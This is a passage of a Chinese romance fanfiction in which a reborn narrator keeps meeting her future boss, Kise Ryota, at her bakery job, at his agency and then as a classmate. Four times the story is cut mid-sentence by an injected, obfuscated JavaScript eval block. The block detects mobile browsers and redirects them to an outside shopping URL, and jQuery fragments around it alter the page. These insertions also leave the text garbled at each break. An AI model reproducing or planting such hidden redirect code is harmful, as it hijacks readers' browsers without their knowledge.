《和十年前的黄濑成了恋人》 2. 002 02. 按理说自己重生后不久就见到十年后工作上的上司这件事犯不着如此惊讶,毕竟稍微思考一下也知道这件事发生的概率虽然不大,但也不为零。 本该是这样的,但因为某些原因——具体来说就是,在我重生前,我工作上的这位上司正在追求我,而我为此已经躲了一周……或者说请了一周的假,正是心虚的时候。 所以一看见他,我就回想起我重生前的情况,那种好像被抓包了的心虚感突然就强烈起来。 这也太诡异了吧)。 我低下头解开收银员工作外套,在心里吐槽。 没想到会碰见前上司最主要还是因为十年后我第一次见到黄濑先生是在东京,后面听说也是一直在东京定居,我怎么会想到原来十年前我这位上司其实是在神奈川啊! 都说人在慌张心虚的时候一秒能有八百个假动作,我也不例外。 现在刚过四点,正好是我下班同由美姐交接的时候,于是收拾整理收银柜的动作就成了绝佳的掩护。 拉开收银柜看了里面还剩的钱,瞄一眼黄濑先生,半蹲着从柜台下面摆放的大箱子里摸出包好的硬币,瞄一眼黄濑先生,撕开硬币包外面的包装,随后将硬币放进收银柜对应的位置,瞄一眼…… 我们的视线交汇了。 ‘好,这下真是被抓包了。’ 大脑一片空白,唯有这个念头在脑海中3D环绕式循环。 我赶忙低下头,假装认真放硬币。但其实根本没看进去硬币在哪,眼前一片模糊,思绪也开始胡乱飘起来。 往常这个时间由美姐应该叫我换班的,但今天不知道为什么,直到现在由美姐也没有从后厨出来。 好希望由美姐能立刻跟我换班,让我赶紧下班不用负责结黄濑先生的账啊。 ——好吧,这是不可能的。 我微微垂着视线,灰色的西装出现在视野中。 黄濑凉太将装着面包的手提篮放在了收银台上,紧接着响起的,就是他那独特的声线:“你好,麻烦结个账。” 与之而来的,是他的视线。 “好的,一共1000円。”我将他买的东西一一拿出来分类装好,试图简短快速地完成结账这一过程。 在这个过程中,黄濑凉太的视线一直落在我身上,直到我将袋子装好递给他,他的视线才转移开来。 因为要递给他袋子,我不可避免地终于要抬头,或者说,要看向他。 他从我手中接过袋子,朝我笑了笑,语气轻松:“谢谢啦。”随后一手拎着袋子,一手抄着口袋离开了店里。 我后知后觉地松了口气。 — 碰见黄濑凉太,应该只是个小插曲,我想。 即使回到公寓后我通过搜索了解到他是神奈川人,并且之前就读的还是全国有名的那个帝光中学,我也如此坚信着。 就算我们都在神奈川,也不一定会再次碰上。人与人之间有的时候并没有我们想象的那么容易见到,即使都在一个城市,可有可能出现好几年完全见不到的情况。 就像我的小学同学,在我毕业后绝大多数都没有再见到了。 就这样过了两天……我又一次在店里看见了黄濑凉太。 到底是为什么啊! 我站在收银柜的后面,面无表情地思考人生。 神奈川不止这一家面包店吧!真有这么巧吗!总不能他家就在附近吧? 前两天的场景又一次复现。黄濑凉太站在收银台前,我给他结账。 给自己的前上司以及前追求者结账真是个很诡异的画面,我说真的。可能是我自己心态还没调整过来的缘故,面对十年前的黄濑先生我完全没办法淡定下来。 这一次,在我将袋子推过去交给他的时候,他没有和上次一样接过之后就离开店里,而是往旁边走了点,没有挡着收银的台面,而是站到了电子操作台前。 而且距离我更近了。 “那个……青木小姐,这家店的营业时间是上午九点到晚上八点对吧?”他指了下店门的方向,飞速地瞥了我挂在胸前的铭牌一眼,随后带着微笑问我。 我顺着他的视线看过去,看见了窗外挂在玻璃上的木牌。 那上面确实写了营业时间。 我想起今天他进门前在玻璃窗前凑近看了会儿,当时没仔细看,现在想来他应该是在看这个木牌。 我收回视线回答他:“是的,黄濑先生是有什么需求吗?” “这个啊。其实是这样的,这个星期天在过一条街的那个商场有一场活动要举办。我看到说你们家附近街区可以送外卖,大概在下午三点半左右的话送到那个商场门口的话可以吗?” 他微微弯着腰,脸上露出了“会不会有点麻烦”的表情,一双眼睛注视着我。 又是这样。 十年后我就知道这个人很会运用自己的颜值优势,面对镜头也好还是面对其他人也好,他的表情总是恰如其分地展露,既不用力过猛又让人能明白他的意思。 我原本以为那是在长久的镜头训练中锻炼出来的成果,现在看来这大概是天生的。 面对他这样的神情,大概很少有人会毫不犹豫地拒绝,我自然也是。 我说这件事我做不了主,得问老板,然后快步走到后厨里询问三木叔。在向三木叔简短说明了事情之后,他认为这一单可以做。 于是我又回到收银台前,从抽屉里翻出三木叔说的备忘本和圆珠笔递给黄濑凉太:“那麻烦黄濑先生在这里写一下具体的要求、送达的具体时间和地点,以及您的联系方式和姓名。” 黄濑凉太点点头,接过我手里的笔和纸,四处张望了下,像一只大型的金毛犬,最后伏在收银台旁边的高台上写起来。 片刻后,他将写好的内容递还给我。我粗略地扫了一眼,旋即沉默了。 一大段文字中,最漂亮的就是写着本人名字的那几个字,十分赏心悦目,作为对比的就是上面的一大行文字,虽然很工整,但确实……不太好看。 十年后的黄濑凉太字迹比起现在好一些,看来是有练过的。我颇为哭笑不得地计算了一下金额,将数额报给黄濑凉太。随后就是支付、找钱。 将零钱交给他之后,我本以为这件事大概到此为止了。接下来他应该就要拎着东西离开店了,没想到他却从口袋里摸出手机,在我眼前摇了摇。 “青木小姐,方便的话加个联系方式吗?这样有什么问题的话就可以直接联系了。” — 最后的结果自然是我和他加上了联系方式。 重生前我也和黄濑先生有联系方式,不过那个时候我的工作号和生活号是分开的,一开始我跟他加的都是工作号,后来加的是生活号。 重生回来倒是直接加的生活号,让我颇有些感慨。 不过感慨归感慨,我并没有对此有太多感想……好吧,因为重生前的事情我一开始是有点别扭的,但后面我也慢慢想通了,眼前这个黄濑凉太并不是我的前上司,也并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077584|195279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是前追求者,我应该分开来看。 这样一想,心里也就忽然轻松了。 — 一周的时间说长也长,说短也短,周日很快就到来了。 早上起床的时候我就感觉到有些不对,天空阴沉沉地完全看不到太阳,打开窗户还闻到了翻新的泥土气息。 果不其然,在我出门不久就下起了小雨。等我到了店里,小雨已经转成了中雨。 因为下雨,店里几乎没什么客人,我坐在收银台后面昏昏欲睡。为了不让自己真的睡过去,我开始玩手机。 一打开手机就显示有未读消息。 头像是他本人的自拍照,大咧咧地昭示着发信人是谁。 [黄濑凉太:青木酱,下午的时候外卖麻烦送到西门口,到之前五分钟提前让外卖员打电话提醒我去拿。] 我长按屏幕,将这段话原话转给了三木叔。 很快一个上午就在无聊和偶尔的结账中过去,午休的时候我趴在收银台上眯了会儿,然而在由美姐的摇晃行为和喊声中醒来。 “怎么了?”我困得眼睛都要睁不开,半眯着眼一看发现不仅由美姐在我身边,就连三木叔也从后厨出来了。 三木叔一只手捂着手机,十分和蔼地开口:“那个青木啊,现在有个很严肃的事情。” 我突然有一种不好的预感。 “外卖员说因为雨天路滑,他在路上摔了一跤,现在正在去医院的路上……所以,黄濑君的这份外卖可能得要你送一下了。” 我:“……” 这下我完全清醒了。 我指着自己:“啊,我吗?” 三木叔点头,表情诚恳、面含热泪:“青木啊,我们店你也是知道的……” “……”,我比了个“打住”的手势,满头黑线,“我知道啦知道啦,我来送。” 三木叔开的这个小店,一直没有开通线下外卖的服务,只有客人特别需求才会有送上门的情况发生,所以我们店的外卖员也不是那种平台培养的外卖员,而是一个和三木叔颇有私交的外卖小哥接的私活。 他一倒下,确实是没有人送外卖的。 以前碰到这种情况三木叔都会选择打电话取消订单,因为就他和由美姐两个人,谁也抽不开身去送外卖单,为此也不是没有被顾客投诉或者挂到网上过。 …… 我拎着大包小包的袋子从出租车上下来。 尽管今天下雨,但商场门口依旧有很多人,各色的雨伞雨衣在瓢泼的雨中模糊成了色块。 因为双手都拎着东西,我完全没办法打伞,店里也没有雨衣,所以出店门的时候我把伞放在了袋子里一起拎着,想着这样至少回来的时候能打伞。 雨下得并不小,我刚下车没多久,就感觉自己的肩膀和头发变得湿漉漉的。我眨眨眼,努力在一堆色块中精准找到那抹黄色。 快到商场门口的时候我在车上给黄濑凉太发了消息,他说五分钟内就能到,但我并没有找到他。也许是因为我被黄色的雨伞和雨衣干扰了。 我感受着肩膀的湿润,有些犹豫,不知道自己是不是应该先进商场里,又怕这样会和出来的黄濑凉太错过。 然而这场雨并没有让我犹豫太久——它下得更大了。 我终于决定先进到商场里等他。 在我即将迈开步子的时候,我头上的雨突然停了。 穿戴时尚的高大身影举着伞,出现在我身侧,我讶异地别过脸。 是黄濑凉太。 3. 003 03. 黄濑凉太打着伞出现在我身侧,一手举着雨伞,一手示意我把手上的便利袋交给他。 我将右手拎着的袋子递给他,用力抹了抹脸上的雨水,眼前的世界终于变得清晰许多,不再是色块与色块的碰撞。 因为只有一把伞,我只好紧跟着黄濑凉太一前一后颇有些狼狈地挪到商场大门里。 也是这个过程让我明白为什么我刚才没有在人群中看见他。 商场坐落在十字路口,正对着路口的交汇处是它的大门,但在大门的旁边、拐过去路的另一边,还有一个窄而小的侧门。因为在我的视野盲区,所以我完全没看到。 他刚才就是从这个侧门出来的,现在也带着我从这个侧门进来。 进了门之后,黄濑凉太在我身后收伞,我则是拎着剩下的一部分便利袋,等他拿走赶紧完成我的配送任务。 刚才在外面淋雨的时间还是有些长了,此刻站在商场里,即使是靠近门的地方,也还是吹到了里面的空调风,我忍不住哆嗦了一下。 无论是潮湿腻腻乎乎地贴着脸侧的头发,还是因为湿冷而给身体源源不断传递冷意的上衣,都让我感到十分的不舒服。我唯一庆幸的就是今天出门选择了一件黑色的T恤,而不是浅色的。 我有点迫不及待想要完成这一单,好赶紧回去摆脱这种感觉。在黄濑凉太收好雨伞转身的那一刻,我便提起袋子出声询问:“那个,黄濑先生,剩下来的这部分您看——” 我看见他的脸上露出了有些意外的表情。他的视线飞快地略过我,随后才落到我手上的袋子:“青木小姐把袋子放在一边的地上就好了,一会儿我拎过去就好了……” 我顺着他的话走到墙边弯腰蹲下,将东西小心地放在过道靠墙的地面上,小心不让它倒到地上。 再起身的时候,一件带着温热温度的外套披到了我身上。随之而来的是黄濑先生的声音:“……比起这个,现在你更需要的应该是这个吧?” 外套袖子垂下,我瞥过视线看见上面的橙色花纹,是黄濑凉太刚刚还穿在身上的外套。 我从便利袋里拿出我一早带的雨伞,站起身同黄濑先生道谢。他提醒我路上注意安全,我瓮声瓮气地应下,想要打喷嚏的意愿变得强烈起来,头也没有一开始清醒了。 应该是感冒了,这也在所难免,毕竟今天这种情况确实不好办。我这么想着,强撑着提醒他最好也赶紧进商场。 脱了外套之后,他就只剩下一件棕色的背心,虽然以我对于十年后的黄濑先生的了解来说,他应该不至于这样就会生病,但能减少在冷热交替的环境中多待一会儿是没有坏处的。 — 从帝光中学毕业的这个暑假,黄濑凉太绝大多数时间都在作为模特参加各种活动、拍摄各种照片。 虽然成为模特一开始是姐姐给他报的名,但时至今日确实已经成为他的工作之一,对于各种事情都已经熟悉且得心应手了。 因为他的条件本身就很优秀,加上“奇迹的时代”这方面的噱头,这个暑假他收到的邀约异常的多,与此相伴而来的就是名气的大幅提升。 这也导致了走在路上看过来的视线更加多了。黄濑凉太对此接受倒是良好,也愿意在街上接过粉丝递来的签名纸写下签名。 走进“三师傅的面包店”这家面包店算是一件意外。 第一次听见这家店的名字,是在拍摄的时候。助理姐姐们凑在一起闲聊的话语被他捕捉到,但他没有特别在意。 第二次,则是在家里。姐姐询问了他的拍摄地点,让他下班的时候顺便带一点回去。于是在完成一天的工作之后,他循着地址走进了这家店。 店里很安静,没有播放洋溢的音乐、也没有顾客在吵闹,只有收银的时候那位收银员会出声同顾客交谈一会儿,那就是这家店最大的声源了。 黄濑凉太一进门就注意到了这位收银员。 以及对方时不时瞥过来的、自以为很隐蔽的视线。 这样的视线黄濑凉太感觉到过很多次,从那些粉丝身上。从初中开始,无论是拍摄、还是打篮球,这样的视线都有很多,他已经完全习惯了。 大概又是他的粉丝? 黄濑凉太对着手机上姐姐发给他的清单将需要的面包一一整齐在托盘中放好,走到收银台前。 对方却一改之前偷摸瞄他的作态,始终低着头,直到要将包好的袋子递给他才好像避无可避一样地抬起头,好像他是个什么洪水猛兽。 无论是低头也好,还是微微往后撤的身体姿态,都表面了这个人浑身上下展现着“不想和这个人接触”的情绪。 这不是完全跟前面判若两态度吗?! 黄濑凉太走出店门的时候难得反思了一下自己,也许是他以为错了也说不定。毕竟对方''是他的粉丝’这件事说到底只是他根据自己的猜测随意下的定义,事实可能不是这样。 但就算这样,被当成洪水猛兽躲避还真是自打黄濑凉太成为模特以来头一遭,以至于直到回家了他还有点被打击到。甚至在第二天的工作中提了起来。 当然他并没有讲到自己的经历,而是半开玩笑半装作可怜地跟事务所的助理小姐姐询问自己是不是看上去很凶——然后得到了否定的答案。 于是原本只是一个想不通的事情,现在变成了微妙的在意。 就连姐姐发在INS上的面包摆拍都推送给了他,让他始终没法这事儿完全抛到脑后。 也是因为这件事,黄濑凉太在网上搜索了这家店铺。他这才了解到这家店最近已经成为了某种意义上年轻人之间的潮流话题——或者说年轻女孩之间的潮流。 不仅是因为其面包的口味很有独特的风味,也因为店员是个和她们看起来差不多大的女孩子,让她们很有好感。 又一次工作结束后,事务所给他发了后面几天的行程。黄濑凉太展开纸张浏览了一遍,在里面看见了有些眼熟的地点。 是一家新开的商场……咦,好像距离那家面包店不远? “喂,黄濑!有好好在听我说吗?!”经纪人推了推眼镜咆哮,“听到了就好好应声啊混蛋!” 猝不及防被用力拍后背以至于差点没站稳的黄濑凉太挠挠头打哈哈:“抱歉抱歉。” “真是的,一个两个都不让人省心。”经纪人骂骂咧咧走了。 哈哈。 黄濑凉太面对着离开的经纪人干笑两声。 其实经纪人说的他真的有在听,就是那老几样,所以他简短地开了个小差,没想到就被抓住了。 …… 黄濑凉太又去了一次面包店。 不过这次是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077585|195279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有正事。 周末在新开不久的商店举办的活动会有不少他的粉丝去现场,但这个活动是从上午开始的,一直举办到晚上,进去需要排队,出来也需要核对身份码,而场所内并没有售卖吃的东西的地方。 之前团队里的工作人员就有在为选择什么吃的东西分发而苦恼,很自然地,黄濑凉太想到了最近在女生中流行的这家面包店。 这也是他这次来的主要目的。 次要目的就是搞明白之前的疑惑了——而他也确实得到了一部分解答。 他没有介绍过自己,对方却很自然地说出了他的名字,所以果然是认识他吧!而且这次虽然比起之前平淡很多了,但果然还是有在想要回避吧? 在店里的这十几分钟,黄濑凉太飞速回顾了自己的前十几年人生,确认自己此前和对方没有交集。 如果有交集的话,他不可能会对她没有印象。 无论是这个名字还是长相,青木绘里花都绝对不属于那种泯然众人的那一类型。 既然没有交集……难道说是因为他有什么黑料? — 那天之后,我果不其然还是感冒了。 三木叔很过意不去,连着几天都缩短了我上班的时间——当然打工的工资并不会减少,反而还上涨了。 对此我欣然接受。 至于那天,因为下雨我得到的那件黄濑先生的衣服……那天在我回到店里之后,三木叔给我放了假,我回家之后将这件外套放到了客厅里。 原本是想着要不要洗一下再还,但等我换完衣服喝了感冒药再去仔细看那件衣服的时候,我才发现这件衣服新过头了—— 新到上面的吊牌都没剪。 我愣了一下,反应过来这大概是那天参加活动准备的衣服,很有可能是品牌方或者是事务所方面准备的,这件衣服唯一在黄濑凉太身上的时候大概只有去接我的那点时间。 在我印象中,十年后的黄濑先生也是这样的,助理会在活动之前提前准备两套或者更多的新衣服备用。私服和活动服装一直都分得很开。 虽然那天我是有点脑袋不清醒,但被披了一件衣服我当时确实有点惊讶。因为十年后我第一次见到黄濑凉太的时候我就知道,他是个面热心冷的人。 跟谁都很聊得来、看起来很热情,但其实心里根本不在意,那种微妙的边界感其实仔细想想是非常清晰的,甚至会让人有一种难以抓住的感觉。 我想了好几种处理衣服的方法,最后还是有些摸不准,只好给黄濑凉太发消息,问他这件衣服他还需不需要,需要的话我什么时候还,以及还之前要不要洗。 隔了差不多有半个小时,我收到了他的回复。 回复中还包含了一个地址。 我对这个地址有着微妙的印象,上网一搜才知道印象的来源。 这是个艺能事务所的分部,总部设立在东京,而这个事务所正是我认识的那个黄濑先生所在的事务所。” 以上,就是我出现在这家事务所门口的原因了。 我对着眼前的地址再三核实,确认自己没有走错。艺能事务所的招牌大字就在我的眼前,而现在是早上七点。 我来还外套了,至于为什么时间这么早…… 为了不耽误我的兼职,只好含泪选择早起了(哭)。 4. 004 04. 对于我这个只有暑假兼职的学生来说,七点就站在事务所的门口确实是非常早的时间了,但对于艺人和艺人背后的团队来说,这个点估计早就开始了工作。 实际上在我没重生之前,我也是这样——作为社畜每天很命苦地早起,并且因为常年这个作息,已经完全习惯而且没觉得有什么问题。 结果重生不到一个月,我就被温暖的被窝“腐蚀”了,再也不能迅速爬起来开始新的一天TAT 我拿出手机对着事务所的标识拍了个照发给黄濑凉太,表示我到了,随后便拎着纸袋从玻璃自动大门走进去。 从大门的外头其实也能看见事务所的一部分装潢以及风格。从门口到前台,几乎都是灰白蓝这三种颜色,虽然有绿植作为点缀,但整体看上去十分的简约商务。 事务所东京的本部跟神奈川这边的风格还真是完全一样,不管是布局还是配色,都如出一辙,到了十年后也完全没改变,以至于既视感十分的强。 就连前台的配置也是。 前台的位置距离大门很近,进去一眼就能看见,十分的突出醒目,有两位年轻女性身着制服坐在前台处接待前来事务所的人员。 台面上立着一个纸质的三角牌,上面用印刷体写着“前台处”。 我向其中一位前台小姐说明了自己的来意,并在她的示意下将纸袋递给她检查里面的物品。 在确认我带来的东西没有任何危险之后,我又填写了一份纸质的表格,然后…… 我从前台小姐那里得到了“黄濑凉太现在应该在三楼的摄影棚里”的回答。 “啊?”我略有些茫然。 从艺人事务所的角度来说,一个陌生的女性突然出现,还带着艺人的衣服说自己和艺人有私交,比起确实出现了这样的情况,更大的可能性一般都是遭遇了私生之类的或者极端粉前来闹事吧? 怎么我还直接得知了黄濑凉太的位置啊?? 我十分震惊。 十年后这家事务所可是和它装潢展现的那样十分的商务干练啊!我可是有见到过这样的实例的!怎么这和我印象中的完全不一样…… 难道说是因为这里是分部吗?还是因为年代不同? 不不不。 不对,重点是我现在好像得要亲自去还这件外套了。 手上的纸品袋瞬间变得烫手起来,一时间竟让我有些手足无措。 老实说,我不太想继续和黄濑凉太接触,原本上网了解到是这家我知道的事务所还让我感到十分高兴,以为自己不用亲自送还到本人手上,只要交到前台就行了。 前台小姐见我站在原地没动,以为是我不知道往哪里走,贴心地站起来为我指出了电梯间的位置。 我带着复杂的情绪向前台简短地道谢,顺着她手指的方向去往电梯间。电梯间也和我记忆中的一样。 上电梯的时候,我点开手机看了眼时间,现在是七点二十五。在我的预想中,本来这个时候我应该能坐上回程的电车,运气好说不定还能再眯一会儿。 现在看来这个计划是泡汤了。 — 摄影棚的位置并不是很难找。 一来是因为拍摄所需要的场地一般不会太小,所以房间自然也会比正常的房间大很多,二来则是因为,我刚出电梯就听到了摄影师那堪称激昂和吵闹的声音。 在一连串怒吼各种人员赶紧到位的语音中夹杂着几句兴奋的英文,什么“perfect”“nice”之类的,诡异地让刚出电梯门的我差点以为自己走错了楼层。 再情绪复杂的人碰到这种动静都会燃起好奇的,吃瓜是人的天性,我那种复杂的心情一下子就烟消云散了,怀着好奇跟着声音来源走到了门前,抬头一看,摄影棚几个字映入眼帘。 门上没有开小窗,我看不到里面的情况,只好拧开一条缝往里揪。 第一眼我看见了正在摆POSE、十分帅气的黄濑凉太,第二眼,则是他身边扭成麻花找角度的摄影师。 我噗嗤一下没忍住,在门外笑了出来。 笑完,我和室内的黄濑凉太以及摄影师先生对上了视线。 我后知后觉地发现,刚刚好像没听到摄影师那吵闹的声音。 换句话说,刚刚其实是安静的。 绝妙的社死感使我一下子僵在了原地,与此相伴而来的是气氛诡异的停滞。我站在半打开的门口,同里头看过来的两位遥遥对视,不知道的还以为我们在拍摄什么情景剧。 而且我们确实在摄影棚里,连地点都不需要脑补。 想到刚刚摄影师的魔音,此刻又看见对方盯着我,眉眼不善,我多少有些心虚。有一些摄影师的脾气是很火爆的,而这位摄影师看起来就很像火爆的。 率先打破这尴尬氛围的是黄濑一如既往元气的声音:“是青木小姐啊,东西的话,放在那边的椅子上就可以了!” 空气重新流动起来,摄影棚又被按下了开始的案件,摄像机咔嚓咔嚓的开门声一时间充斥着这间房间。 那位看过来的摄影师继续着他的工作,并没有再看向我。屋子里的其他人虽然也还有偶尔向这边瞥过来的,但很快也会转回去专心工作。 救大命了黄濑先生。 我松了口气。 他说的椅子是离我最近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077586|195279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的、也是靠后门墙角摆放的一排白色椅子,我轻缓而谨慎地将袋子放在最后一个椅子上。 我本来想,放好之后我就马上离开,但我起身看见却正好无意瞥见了黄濑的POSE。 对我的这位前上司,我的观感一直很复杂。 诚如我所说,我第一次见到他,就明白这个人是个外热内冷的人。 他会跟你嬉皮笑脸、卖萌、撒娇,又或者不着调地打岔、开玩笑或者胡闹,看上去似乎很在乎你这个人,但实际上绝大多数情况下他的心里更趋向于无感。 容易亲近大概是这个人给人最大的错觉,也是他外在的“人设”之一。 而靠近真实的他的那种微妙的、忽即忽离、忽远忽近的特质,在这种静态的拍摄中其实会更加明显地展露。 我第一次拍摄黄濑,拍摄的……或者说捕捉的,就是这样的黄濑。 冷面的、抽离的、遥远的。 我看了会儿黄濑的拍摄。 他在快门声中自如娴熟地切换表情动作,无论什么样的神态都信手拈来。哪怕是摄影师突然要求特定的动作,他也能在看过示例后一次性完美复刻出来。 想要拍摄下来的念头不知道何时悄然升起。 我拿出手机,找准时间连拍了九张图,又在相册中翻来倒去挑选了好一阵,最后留下一张,在联系人中找到黄濑凉太选择发送。 还了这件衣服,想必我同他不会再有什么交集了,拿一张图作为最后的告别语也算是有个终吧。 — 果不其然,在暑假的最后一段日子里,我再也没见到过黄濑凉太。 对话框也停留在我给发的照片那里,他客套热情地回了几句,随后再没有更新过,被新的联系人和消息顶了下去。 这是我意料之中的走向。 没过多久时间就到了九月,我开学了。 因为听说海常高中非常的大,于是开学那一天我早早地就到了学校。 进入校门之后,我发现同我一样的新生们,尤其是女孩子们,十分的激动。而且这种现象越靠近我的班级所在的位置越明显。 我一头雾水。 莫非是今天有什么大人物来了学校吗?还是校领导出现了?或者难道是有什么明星吗? 我拉开班级门,一头黄毛清晰地映入眼帘,往下,是一张才在暑假中见过的脸。 黄濑凉太坐在课桌上,周围的女生将他团团围住,而他则是带着有些歉意有些不好意思的笑容给她们签名。 我的大脑宕机了。 瞳孔地震.JPG 不对)为什么黄濑凉太会在我班上啊!!! 5. 005 05. 暑假的时候我怎么想来着的——哦,“想必我同他不会再有什么交集了”,结果开学了又碰见了,不仅是同校,甚至还是同班。 为了不被班上围在一起的人群挤到,进门后我贴着墙从前门走到后门,再从后门走到靠窗的后排,找了个没有人的位置坐了下来。 这个位置和黄濑凉太所站的位置刚好成视线死角,除非他转头能转一百八十度,否则应该是看不到我的。 我知道作为一个班的同学,不管他现在看得到看不到,之后总归是要认识的,但能拖一会儿是一会儿……更何况我心里其实也还是有那么一点侥幸心理的。 像黄濑凉太这样外热内冷的性子以及他“大明星”的情况,说不定已经完全忘掉我是谁了,或者就算记得也不想和我有什么接触。 如果这样的话那简直再好不过了。 我不太擅长应付他这样的人,重生前不擅长,没道理重生后我就擅长了。 而且这究竟是什么样的孽缘,才能让我重生回来短短的这一个多月的时间里到哪里都能碰上前上司以及追求者。 或许我应该买个彩票看看我的运气……? 对一般人而言,和黄濑凉太这种高人气模特成为同班同学甚至还有联系方式应该是运气很好的事情吧? 要不今天放学的时候先买个彩票再去打工吧。 — 虽然“同班同学是黄濑凉太”这件事在我意料之外,但其他的一切倒是都在按预期发展,没有被打乱。 海常高中虽然被评为“体育强校”,但在文化成绩领域和其他社团开展上也是不上心的。 海常的社团丰富多彩,除了最受人瞩目的篮球部之外,弓道部、排球部等多种运动系社团也是热门选择。 在开学之前我就在社团选择上做了功课。 对于我这种除了骑自行车和散步这两种运动还算比较擅长其他一窍不通的人来说,这些运动系的社团肯定是在选择范围之外的。 我心选的社团主要有两个,一个是新闻部,一个是摄影部。新闻部的主要负责内容是校内的各项活动/考试/比赛的通知以及记者报道,平常与学生会多有联系。摄影部则更追求对于摄影专业方面的追求,偶尔也会与新闻部合作。 再三权衡之下,我选择了摄影部。 一来是因为听闻新闻部每学期都有规定的报道考核,没达到的话下一学期就会被“发配”,竞争激烈;二是据说目前在任的那位部长以严厉出名,十分嘴毒,每次都能呛得人怀疑人生。 而摄影部则是出了名的部员佛系和友好,最重要的是允许有理由地早退。这对我这种放学后还要打工的人来说简直是特别有诱惑力的条件。 开学一周后,社团的申请结果送到了我的手上。我成功加入了摄影部,成为了摄影部新生中的一员。 和我一起成为摄影部新生的同班同学也是个女生,座位距离我仅有两个过道,名字是小仓直美。因为同属一个社团,我很快就与她熟悉起来。 与此同时,因为在入学成绩中我的国语成绩十分优秀,我被老师任命为国语方面的课代表,负责收国语作业。 国语老师向班上宣布这个消息的时候,还特地把我叫到了讲台上,让大家好好地认识我,防止有同学以“不认识课代表”“找不到课代表”之类的理由推迟甚至不交作业。 我人在讲台上,魂在天上飘。全班的目光都向我集中而来,几十双眼睛都盯着我看,这一刻我仿佛拥有了明星般的待遇。 这些视线中,自然也包括黄濑凉太的。 我看见他脸上露出意外和吃惊的表情,夹杂着一点惊喜。随后他托着腮,支着头光明正大地凝视起了我。 即使我并没有刻意地去看他,但在教室那么多人里面,他的存在感就是莫名其妙地比其他人高许多。 哪怕我努力在台上放空自己,虚化的视野中也还是能看见他优越的轮廓和清楚的动作,明明其他人都成了模糊的背景。 我终于忍不住,微微和他对视了几秒。 黄濑凉太有一张池面脸,本来冲击力其实就很强了,然而当他看上去似乎很认真凝视谁的时候,那种冲击力就变得前所未有地强烈起来。 不是一加一等于二,而是一加一等于无限大的那种强。 在我重生前,为黄濑先生拍摄的我曾经很多次见过他注视着我的方向,因为我手上拿着相机,而我们之间隔着厚厚的镜头。 镜头会让他的颜值被无比清晰地展露,但那种被注视的感觉却会被虚化。 而现在、此刻,没有镜头,也没有相机,被注视的感觉便格外明显,也格外让人招架不住。 我的视线只与他相接了几秒,便支撑不住默默偏开,盯着一位同学桌上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077587|195279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笔袋,直到老师让我下去,我才松了一口气,感觉整个人都轻松下来。 — 国中毕业后,奇迹的世代的每个人都不约而同选择了不同的体育强校就读,黄濑凉太也不例外,他选择了海常高中。 踏入海常高中走进教室的一路上,看见他的很多人都把目光转向他、议论他。 了解篮球的人在说“啊他就是那个传说的‘奇迹的世代’;不了解篮球的人在说“这个人好高”“他好帅”“咦是不是那个有名的模特”。 当之无愧的校内风云人物。 在国中和高中时期,学生之间八卦、帅哥美女的消息以及和成绩有关的话题总是传播得很快,有一点风吹草动,整个年级不出几天很快就都知道了。 一开始,他听到的最多的私下讨论是“一年三班是不是有那个超有名的模特黄濑凉太?”,对此他并没有在意。 后来,他开始听到另一句,“我记得青木绘里花同学是不是也在一年三班?” 他听到很多个“青木绘里花”,说她入学成绩是排名年级前列,说她不仅成绩好,人也好看,性格也不错,完全就是女神。 青木……绘里花? 很熟悉的名字。黄濑凉太回忆了会儿,从记忆中翻出了熟悉感的来源。 那家店的店员。 原来他们同龄,甚至还是同班。意识到这点之后,他下意识地在班级里寻找熟悉的金发双马尾。 以黄濑凉太作为模特的眼光来看,青木绘里花的长相无疑是非常漂亮的,气质也很特别,如果要用花来形容的话,就像是蝴蝶兰一样。 暑假几面之缘的人竟然成了同班同学本身就是很有缘的情节了,而这个人是青木绘里花,这个之前就对他表现出很奇怪态度的人,这就更是微妙了。 